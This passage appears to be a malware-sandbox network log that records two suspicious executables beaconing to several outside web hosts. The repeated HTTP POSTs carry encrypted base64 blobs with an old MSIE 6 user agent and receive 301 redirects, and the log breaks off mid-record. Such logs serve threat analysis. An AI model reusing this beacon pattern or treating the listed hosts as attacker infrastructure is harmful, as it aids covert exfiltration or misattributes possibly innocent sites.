Oct 25, 2024 11:18:09.603862047 CEST	1236	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 65 6c 70 72 6f 2e 73 69 2f 22 2c 22 6e 61 6d 65 22 3a 22 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 45 4c 50 52 4f 20 e2 80 93 20 45 6c 70 72 6f 20 4c 65 70 65 6e 69 6b 20 70 72 6f 69 7a 76 6f 64 6e 6a 61 20 Data Ascii: tps://www.elpro.si/","name":"","description":"ELPRO Elpro Lepenik proizvodnja temperaturnih tipal in merilno regulacijska tehnika","publisher":{"@id":"https://www.elpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target"
Oct 25, 2024 11:18:09.603897095 CEST	424	IN	Data Raw: 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 74 61 63 6b 70 61 74 68 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 Data Ascii: <link rel='dns-prefetch' href='//stackpath.bootstrapcdn.com' /><link rel='dns-prefetch' href='//www.googletagmanager.com' /><link rel='dns-prefetch' href='//use.fontawesome.com' /><link rel='stylesheet' id='wp-block-library-css' href='http
Oct 25, 2024 11:18:09.603934050 CEST	1236	IN	Data Raw: 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 79 69 74 68 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 77 69 73 68 6c 69 73 74 2f 61 73 73 65 74 73 2f 63 73 73 2f 6a 71 75 65 72 79 2e 73 65 6c 65 63 74 42 6f 78 2e 63 73 73 3f 76 65 72 3d Data Ascii: /wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.css?ver=1.2.0' type='text/css' media='all' /><link rel='stylesheet' id='yith-wcwl-font-awesome-css' href='http://www.elpro.si/wp-content/plugins/yith-woocommerce-wishli
Oct 25, 2024 11:18:09.608897924 CEST	1236	IN	Data Raw: 74 69 6f 2d 2d 33 2d 32 3a 20 33 2f 32 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 2d 2d 32 2d 33 3a 20 32 2f 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 61 73 70 65 63 74 2d 72 61 74 69 6f 2d 2d 31 36 2d Data Ascii: tio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	52840	139.59.171.124	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.313473940 CEST	771	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 73 55 63 34 42 43 53 4b 32 67 76 6a 4a 64 51 6d 76 30 38 57 5a 2f 64 49 47 68 6a 63 72 61 68 42 6d 4b 6c 73 49 35 63 30 6f 66 61 6e 54 2b 53 6c 7a 71 4b 53 67 37 49 62 39 42 36 4f 4b 79 4d 43 55 44 49 5a 4c 67 76 7a 47 64 68 33 53 49 5a 56 51 31 68 71 4b 74 32 37 56 69 63 6d 4e 37 69 30 57 31 62 68 53 78 39 42 6f 37 76 6c 6c 56 57 74 4e 30 49 4d 6b 52 38 4c 4a 79 61 4e 55 7a 6c 7a 31 52 73 72 68 76 44 59 64 67 52 4c 56 46 6a 39 70 76 4a 4f 72 6c 55 48 5a 6b 52 4e 32 64 69 55 33 73 41 7a 74 57 55 47 55 6d 76 56 74 58 43 66 58 34 78 75 51 4a 42 64 74 4c 4a 7a 77 69 59 71 33 46 79 4f 6c 6f 66 4d 44 58 76 58 7a 34 43 48 70 63 4a 63 62 50 30 35 39 64 64 57 34 53 75 49 62 4e 51 41 50 73 53 75 61 65 35 66 36 71 4b 69 69 44 61 52 79 64 2f 5a 79 2f 4b 4e 79 76 58 78 75 72 4f 39 55 49 6a 45 36 69 63 67 4d 61 62 6a 36 73 67 79 79 39 44 42 6d 69 77 63 53 6c 76 55 6c 59 37 77 4b 51 42 38 34 2b 5a 39 56 7a 4b 74 34 5a 6c 53 63 35 2b 6e 39 39 73 56 6d 31 35 75 6a 71 54 61 54 45 6c 43 6c 6a 4f 34 6d 68 55 62 6f 63 [TRUNCATED] Data Ascii: sUc4BCSK2gvjJdQmv08WZ/dIGhjcrahBmKlsI5c0ofanT+SlzqKSg7Ib9B6OKyMCUDIZLgvzGdh3SIZVQ1hqKt27VicmN7i0W1bhSx9Bo7vllVWtN0IMkR8LJyaNUzlz1RsrhvDYdgRLVFj9pvJOrlUHZkRN2diU3sAztWUGUmvVtXCfX4xuQJBdtLJzwiYq3FyOlofMDXvXz4CHpcJcbP059ddW4SuIbNQAPsSuae5f6qKiiDaRyd/Zy/KNyvXxurO9UIjE6icgMabj6sgyy9DBmiwcSlvUlY7wKQB84+Z9VzKt4ZlSc5+n99sVm15ujqTaTElCljO4mhUbocoeZfRSbxsJf/tEcCghKLLiV8nvm5El4g0v8zI4KOM6Q1NHE6kd6XW0DZbZLmNNuUy2M0APQayQRmdG0MPavJwCq26cFB+8HVUZ6p3/wz4rL2qG/Bygr29IgCpTA3T6xUWU9lV04dfHKgOSGPEbn2+XalgZdqLdXGyO2EsWMWKiUipLRt3BSc5BBhJ6SgqSxVXj9g==
Oct 25, 2024 11:18:09.124069929 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:18:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:09.143224955 CEST	771	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 73 55 63 34 42 43 53 4b 32 67 76 6a 4a 64 51 6d 76 30 38 57 5a 2f 64 49 47 68 6a 63 72 61 68 42 6d 4b 6c 73 49 35 63 30 6f 66 61 6e 54 2b 53 6c 7a 71 4b 53 67 37 49 62 39 42 36 4f 4b 79 4d 43 55 44 49 5a 4c 67 76 7a 47 64 68 33 53 49 5a 56 51 31 68 71 4b 74 32 37 56 69 63 6d 4e 37 69 30 57 31 62 68 53 78 39 42 6f 37 76 6c 6c 56 57 74 4e 30 49 4d 6b 52 38 4c 4a 79 61 4e 55 7a 6c 7a 31 52 73 72 68 76 44 59 64 67 52 4c 56 46 6a 39 70 76 4a 4f 72 6c 55 48 5a 6b 52 4e 32 64 69 55 33 73 41 7a 74 57 55 47 55 6d 76 56 74 58 43 66 58 34 78 75 51 4a 42 64 74 4c 4a 7a 77 69 59 71 33 46 79 4f 6c 6f 66 4d 44 58 76 58 7a 34 43 48 70 63 4a 63 62 50 30 35 39 64 64 57 34 53 75 49 62 4e 51 41 50 73 53 75 61 65 35 66 36 71 4b 69 69 44 61 52 79 64 2f 5a 79 2f 4b 4e 79 76 58 78 75 72 4f 39 55 49 6a 45 36 69 63 67 4d 61 62 6a 36 73 67 79 79 39 44 42 6d 69 77 63 53 6c 76 55 6c 59 37 77 4b 51 42 38 34 2b 5a 39 56 7a 4b 74 34 5a 6c 53 63 35 2b 6e 39 39 73 56 6d 31 35 75 6a 71 54 61 54 45 6c 43 6c 6a 4f 34 6d 68 55 62 6f 63 [TRUNCATED] Data Ascii: sUc4BCSK2gvjJdQmv08WZ/dIGhjcrahBmKlsI5c0ofanT+SlzqKSg7Ib9B6OKyMCUDIZLgvzGdh3SIZVQ1hqKt27VicmN7i0W1bhSx9Bo7vllVWtN0IMkR8LJyaNUzlz1RsrhvDYdgRLVFj9pvJOrlUHZkRN2diU3sAztWUGUmvVtXCfX4xuQJBdtLJzwiYq3FyOlofMDXvXz4CHpcJcbP059ddW4SuIbNQAPsSuae5f6qKiiDaRyd/Zy/KNyvXxurO9UIjE6icgMabj6sgyy9DBmiwcSlvUlY7wKQB84+Z9VzKt4ZlSc5+n99sVm15ujqTaTElCljO4mhUbocoeZfRSbxsJf/tEcCghKLLiV8nvm5El4g0v8zI4KOM6Q1NHE6kd6XW0DZbZLmNNuUy2M0APQayQRmdG0MPavJwCq26cFB+8HVUZ6p3/wz4rL2qG/Bygr29IgCpTA3T6xUWU9lV04dfHKgOSGPEbn2+XalgZdqLdXGyO2EsWMWKiUipLRt3BSc5BBhJ6SgqSxVXj9g==
Oct 25, 2024 11:18:09.375668049 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:18:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	52841	60.43.154.138	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.318145037 CEST	823	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora.ecnet.jp Cache-Control: no-cache Data Raw: 48 6f 74 42 6d 36 62 45 5a 6c 62 77 56 71 45 4a 51 52 4d 33 78 73 6d 67 49 79 36 47 6a 36 47 73 4f 74 73 57 48 78 69 47 6d 7a 77 53 70 47 74 4b 63 34 65 5a 75 4f 48 64 4b 6d 70 46 36 4d 64 4c 50 55 6f 47 47 54 43 6a 6c 75 62 63 71 77 33 74 47 31 34 53 76 4b 63 4a 48 2b 36 5a 67 4c 6e 59 4b 59 44 64 44 73 5a 58 4b 4f 4d 5a 58 6d 52 70 4b 71 70 32 33 4f 46 44 5a 6f 36 57 67 34 46 65 68 4c 2f 4c 6b 72 7a 68 73 33 2b 64 4a 31 55 49 42 55 75 65 57 4b 4e 59 59 33 68 69 4c 42 48 58 75 57 63 55 6c 77 36 76 30 66 6a 39 66 78 68 42 48 67 52 36 6f 43 44 42 44 32 30 4b 4b 41 73 6e 6b 79 70 52 54 64 78 5a 64 79 53 48 4f 6d 35 43 4c 6c 2b 59 53 64 42 55 63 30 66 76 31 4f 2f 32 35 62 4f 31 2f 4f 54 30 4e 51 63 2b 4c 54 4b 69 53 65 31 6c 47 57 48 41 61 6a 4d 54 64 4e 73 78 71 37 62 63 76 4b 46 30 44 70 4c 6f 74 71 46 6e 2b 55 7a 31 61 31 68 58 4f 58 49 59 65 77 45 67 34 73 33 41 43 6c 61 55 6a 43 2b 36 33 52 41 43 64 62 68 36 6c 34 77 2b 79 44 4d 70 77 6e 75 38 49 36 79 56 42 76 46 4f 42 6c 4e 4b 37 68 6d 4c 41 74 [TRUNCATED] Data Ascii: HotBm6bEZlbwVqEJQRM3xsmgIy6Gj6GsOtsWHxiGmzwSpGtKc4eZuOHdKmpF6MdLPUoGGTCjlubcqw3tG14SvKcJH+6ZgLnYKYDdDsZXKOMZXmRpKqp23OFDZo6Wg4FehL/Lkrzhs3+dJ1UIBUueWKNYY3hiLBHXuWcUlw6v0fj9fxhBHgR6oCDBD20KKAsnkypRTdxZdySHOm5CLl+YSdBUc0fv1O/25bO1/OT0NQc+LTKiSe1lGWHAajMTdNsxq7bcvKF0DpLotqFn+Uz1a1hXOXIYewEg4s3AClaUjC+63RACdbh6l4w+yDMpwnu8I6yVBvFOBlNK7hmLAtZs5ASBMw4rpMssGRETtkXzk4WmJqpgFDcnlIEyGL0gtS5ob6lc7s3vxDeXltWYIZTFTIEODM6C9bsKqF/ciykOYJqeo8/qhCWau5JaTODe63s8435/ofkNQA0EwHw59PG3ReQoGIQaBtLYIC9nNlG+oIZG6xYa5on6vWvHdkp9Au3T5Ik0KN8MEGi6g9Bk4soKOusUH1SKM9mK4LRW8LX2AbqWu4IiD2e6lp9sZFTBttpfFgOHgjYadQ==
Oct 25, 2024 11:18:09.198260069 CEST	425	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:10 GMT Server: Apache Location: http://furec.sakura.ne.jp/ Content-Length: 234 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 75 72 65 63 2e 73 61 6b 75 72 61 2e 6e 65 2e 6a 70 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://furec.sakura.ne.jp/">here</a>.</p></body></html>
Oct 25, 2024 11:18:09.232438087 CEST	823	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora.ecnet.jp Cache-Control: no-cache Data Raw: 48 6f 74 42 6d 36 62 45 5a 6c 62 77 56 71 45 4a 51 52 4d 33 78 73 6d 67 49 79 36 47 6a 36 47 73 4f 74 73 57 48 78 69 47 6d 7a 77 53 70 47 74 4b 63 34 65 5a 75 4f 48 64 4b 6d 70 46 36 4d 64 4c 50 55 6f 47 47 54 43 6a 6c 75 62 63 71 77 33 74 47 31 34 53 76 4b 63 4a 48 2b 36 5a 67 4c 6e 59 4b 59 44 64 44 73 5a 58 4b 4f 4d 5a 58 6d 52 70 4b 71 70 32 33 4f 46 44 5a 6f 36 57 67 34 46 65 68 4c 2f 4c 6b 72 7a 68 73 33 2b 64 4a 31 55 49 42 55 75 65 57 4b 4e 59 59 33 68 69 4c 42 48 58 75 57 63 55 6c 77 36 76 30 66 6a 39 66 78 68 42 48 67 52 36 6f 43 44 42 44 32 30 4b 4b 41 73 6e 6b 79 70 52 54 64 78 5a 64 79 53 48 4f 6d 35 43 4c 6c 2b 59 53 64 42 55 63 30 66 76 31 4f 2f 32 35 62 4f 31 2f 4f 54 30 4e 51 63 2b 4c 54 4b 69 53 65 31 6c 47 57 48 41 61 6a 4d 54 64 4e 73 78 71 37 62 63 76 4b 46 30 44 70 4c 6f 74 71 46 6e 2b 55 7a 31 61 31 68 58 4f 58 49 59 65 77 45 67 34 73 33 41 43 6c 61 55 6a 43 2b 36 33 52 41 43 64 62 68 36 6c 34 77 2b 79 44 4d 70 77 6e 75 38 49 36 79 56 42 76 46 4f 42 6c 4e 4b 37 68 6d 4c 41 74 [TRUNCATED] Data Ascii: HotBm6bEZlbwVqEJQRM3xsmgIy6Gj6GsOtsWHxiGmzwSpGtKc4eZuOHdKmpF6MdLPUoGGTCjlubcqw3tG14SvKcJH+6ZgLnYKYDdDsZXKOMZXmRpKqp23OFDZo6Wg4FehL/Lkrzhs3+dJ1UIBUueWKNYY3hiLBHXuWcUlw6v0fj9fxhBHgR6oCDBD20KKAsnkypRTdxZdySHOm5CLl+YSdBUc0fv1O/25bO1/OT0NQc+LTKiSe1lGWHAajMTdNsxq7bcvKF0DpLotqFn+Uz1a1hXOXIYewEg4s3AClaUjC+63RACdbh6l4w+yDMpwnu8I6yVBvFOBlNK7hmLAtZs5ASBMw4rpMssGRETtkXzk4WmJqpgFDcnlIEyGL0gtS5ob6lc7s3vxDeXltWYIZTFTIEODM6C9bsKqF/ciykOYJqeo8/qhCWau5JaTODe63s8435/ofkNQA0EwHw59PG3ReQoGIQaBtLYIC9nNlG+oIZG6xYa5on6vWvHdkp9Au3T5Ik0KN8MEGi6g9Bk4soKOusUH1SKM9mK4LRW8LX2AbqWu4IiD2e6lp9sZFTBttpfFgOHgjYadQ==
Oct 25, 2024 11:18:09.501837969 CEST	425	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:10 GMT Server: Apache Location: http://furec.sakura.ne.jp/ Content-Length: 234 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 75 72 65 63 2e 73 61 6b 75 72 61 2e 6e 65 2e 6a 70 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://furec.sakura.ne.jp/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	52842	62.122.190.121	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.328248024 CEST	807	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 54 69 51 41 6d 6c 70 6e 33 77 75 36 62 41 52 36 66 51 36 2f 38 5a 32 35 6e 78 68 4b 79 6f 64 7a 4c 72 64 50 2f 69 77 34 44 73 32 30 51 47 32 48 66 54 49 61 75 4e 49 31 2f 45 70 6f 33 39 4b 50 55 65 64 4a 68 70 51 49 52 6f 66 51 48 32 62 67 58 33 58 65 35 6b 58 6e 65 37 79 7a 7a 48 53 6b 66 69 64 31 44 51 72 6d 34 71 61 72 53 47 69 62 67 48 63 63 67 34 54 4c 6f 30 47 54 33 56 45 4e 6c 65 79 46 56 78 47 74 48 53 76 6e 35 50 34 58 63 39 5a 76 6f 47 64 65 36 48 75 46 62 31 66 66 4c 47 35 41 37 79 75 62 44 34 6f 63 52 43 34 6c 6e 45 36 36 6c 68 51 66 2b 32 48 61 70 6e 49 62 66 36 5a 34 32 35 67 35 71 4e 37 77 61 38 59 52 32 79 72 77 4c 61 6f 31 70 6d 32 30 45 79 73 33 58 61 73 4c 35 46 41 66 58 4c 2b 30 69 74 32 78 48 36 54 55 58 6a 72 45 6a 51 53 46 41 59 77 68 66 56 66 6d 58 4c 59 47 7a 6d 77 53 38 48 4f 69 57 4d 62 75 66 4e 4b 50 63 31 2b 4e 55 46 68 42 5a 47 43 79 43 34 7a 30 68 43 37 4c 56 4c 49 52 46 4a 37 6a 6a 70 57 77 62 4a 58 4c 7a 6b 47 75 31 6e 35 57 36 52 70 6f 35 74 4c 4e 58 2f 4b 4c 6b 63 [TRUNCATED] Data Ascii: TiQAmlpn3wu6bAR6fQ6/8Z25nxhKyodzLrdP/iw4Ds20QG2HfTIauNI1/Epo39KPUedJhpQIRofQH2bgX3Xe5kXne7yzzHSkfid1DQrm4qarSGibgHccg4TLo0GT3VENleyFVxGtHSvn5P4Xc9ZvoGde6HuFb1ffLG5A7yubD4ocRC4lnE66lhQf+2HapnIbf6Z425g5qN7wa8YR2yrwLao1pm20Eys3XasL5FAfXL+0it2xH6TUXjrEjQSFAYwhfVfmXLYGzmwS8HOiWMbufNKPc1+NUFhBZGCyC4z0hC7LVLIRFJ7jjpWwbJXLzkGu1n5W6Rpo5tLNX/KLkcepBSwDYbTiih21FPK04Pg1jXvcjAy9PsL36+d769ewjljQV+AtLqrkwnRtzt3bEu6ZBqimu3jcOYvFoMOyfWvZSUvHjH9S0AJ7BB/H1TFMPmp5BNtL68QjV8Sn1/t//MaJWEsGgpg8v5jhhQ0mCbyR4UNDMLQsDjI0m/uTy8Ry67QumUysouNNuZTh2HaPiHU1Oq7gh/+7b9qWakn2NXWSteY67M4zmjj9L1wTDWzJ
Oct 25, 2024 11:18:09.186624050 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:09 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>
Oct 25, 2024 11:18:09.231909990 CEST	807	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 54 69 51 41 6d 6c 70 6e 33 77 75 36 62 41 52 36 66 51 36 2f 38 5a 32 35 6e 78 68 4b 79 6f 64 7a 4c 72 64 50 2f 69 77 34 44 73 32 30 51 47 32 48 66 54 49 61 75 4e 49 31 2f 45 70 6f 33 39 4b 50 55 65 64 4a 68 70 51 49 52 6f 66 51 48 32 62 67 58 33 58 65 35 6b 58 6e 65 37 79 7a 7a 48 53 6b 66 69 64 31 44 51 72 6d 34 71 61 72 53 47 69 62 67 48 63 63 67 34 54 4c 6f 30 47 54 33 56 45 4e 6c 65 79 46 56 78 47 74 48 53 76 6e 35 50 34 58 63 39 5a 76 6f 47 64 65 36 48 75 46 62 31 66 66 4c 47 35 41 37 79 75 62 44 34 6f 63 52 43 34 6c 6e 45 36 36 6c 68 51 66 2b 32 48 61 70 6e 49 62 66 36 5a 34 32 35 67 35 71 4e 37 77 61 38 59 52 32 79 72 77 4c 61 6f 31 70 6d 32 30 45 79 73 33 58 61 73 4c 35 46 41 66 58 4c 2b 30 69 74 32 78 48 36 54 55 58 6a 72 45 6a 51 53 46 41 59 77 68 66 56 66 6d 58 4c 59 47 7a 6d 77 53 38 48 4f 69 57 4d 62 75 66 4e 4b 50 63 31 2b 4e 55 46 68 42 5a 47 43 79 43 34 7a 30 68 43 37 4c 56 4c 49 52 46 4a 37 6a 6a 70 57 77 62 4a 58 4c 7a 6b 47 75 31 6e 35 57 36 52 70 6f 35 74 4c 4e 58 2f 4b 4c 6b 63 [TRUNCATED] Data Ascii: TiQAmlpn3wu6bAR6fQ6/8Z25nxhKyodzLrdP/iw4Ds20QG2HfTIauNI1/Epo39KPUedJhpQIRofQH2bgX3Xe5kXne7yzzHSkfid1DQrm4qarSGibgHccg4TLo0GT3VENleyFVxGtHSvn5P4Xc9ZvoGde6HuFb1ffLG5A7yubD4ocRC4lnE66lhQf+2HapnIbf6Z425g5qN7wa8YR2yrwLao1pm20Eys3XasL5FAfXL+0it2xH6TUXjrEjQSFAYwhfVfmXLYGzmwS8HOiWMbufNKPc1+NUFhBZGCyC4z0hC7LVLIRFJ7jjpWwbJXLzkGu1n5W6Rpo5tLNX/KLkcepBSwDYbTiih21FPK04Pg1jXvcjAy9PsL36+d769ewjljQV+AtLqrkwnRtzt3bEu6ZBqimu3jcOYvFoMOyfWvZSUvHjH9S0AJ7BB/H1TFMPmp5BNtL68QjV8Sn1/t//MaJWEsGgpg8v5jhhQ0mCbyR4UNDMLQsDjI0m/uTy8Ry67QumUysouNNuZTh2HaPiHU1Oq7gh/+7b9qWakn2NXWSteY67M4zmjj9L1wTDWzJ
Oct 25, 2024 11:18:09.487286091 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:09 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved 